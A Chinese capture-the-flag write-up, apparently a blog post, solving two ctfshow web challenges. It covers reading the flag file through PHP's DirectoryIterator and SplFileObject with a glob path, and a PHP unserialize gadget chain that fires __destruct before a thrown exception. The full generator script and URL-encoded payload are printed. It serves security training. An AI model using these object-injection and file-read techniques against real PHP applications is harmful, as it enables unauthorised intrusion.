ctfshow-卷王杯

easywebeasy unserialize

easyweb

源码提示

</div>
<!--?source-->
</html>

数组溢出+原生类读取

c=9223372036854775806&a=DirectoryIterator&b=glob://flag[0-9a-z]*.php

c=9223372036854775806&a=SplFileObject&b=flag56ea8b83122449e814e0fd7bfb5f220a.php

 

easy unserialize

__destruct()方法又叫析构函数,当程序结束销毁的时候自动调用,看下这道题中的代码

$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");

这里有个throw函数,大概是抛出一个异常,然后让程序异常退出,这个时候就是未正常退出的情况,所以不会调用__destruct方法,这里我们就要想办法在throw函数执行之前调用析构函数,目前我知道的调用该函数的方法如下:

  • 等待程序完整执行完毕,也就是解释完最后一行代码,这也是我们最常用的方法

  • 利用GC回收机制,比如

<?php
highlight_file(__FILE__);
class Demo{
        public function __destruct()
        {
                echo "Running method <destruct>";
        }
}
$a=new Demo();
// $a=null;
throw new Error("this is a test");
​

  • 最后一种就是利用unset()主动销毁,这里显然我们不能,所以忽略

不难发现我们最后要进入 one::MeMeMe 并且满足条件

array_walk()只有关于数组的例子 本地尝试一下关于类的例子

 

可以看到作用是遍历自定义函数,其中$fn为成员的值,prev为成员变量的名字,所以

$year_parm=array(0=>"Happy_func");

要访问one::MeMeME() 找到

public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }

使 $var=array('$name'=>[new one(),"MeMeMe"]); 就可以 $var[$name]=one::MeMeMe();

要想__get() 得访问不存在的成员属性 找到

public function __toString() {
        return $this->object->string;
    }
   使 $this->object=new third()

而要__toString 得把对象当字符数输出 找到

 protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }
   
   使 $this->filename=new one()即可;
   这里题目是protected 利用php7对protected 不敏感 绕过

发现

 public function __destruct() {
        @$this->object->add();
    }
   使$this->object=new second()即可

payload:

<?php
class one {
    public $object;
    public $year_parm=array(0=>"Happy_func");
    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                echo $fn[0].'<br>'.$prev;
​
                global $flag;
                echo $flag;
            }
        });
    }
​
    public function __destruct() {
        @$this->object->add();
    }
​
    public function __toString() {
        echo 'one::toString'.'<br>';
        return $this->object->string;
    }
}
​
class second {
    public $filename;
​
    protected function addMe() {
        echo 'second::addMe'.'<br>';
        return "Wow you have sovled".$this->filename;
    }
​
    public function __call($func, $args) {
        echo 'second::call'.'<br>';
        call_user_func([$this, $func."Me"], $args);
    }
}
​
class third {
    private $string;
​
    public function __construct($string) {
        $this->string = $string;
    }
​
    public function __get($name) {
        echo 'third::get'.'<br>';
        $var = $this->$name;
        $var[$name]();
    }
}
  $a=new one();
  $a->object=new second();
  $a->object->filename=new one();
  $a->object->filename->object=new third(['string'=>[new one(),'MeMeMe']]);
  $b=null;
  $c=array($a,$b);
  echo urlencode(serialize($c));
  

本地调试没问题

 

因为要在throw之前析构函数

所以payload还要修改一下最终为:

a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A0%3BN%3B%7D

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值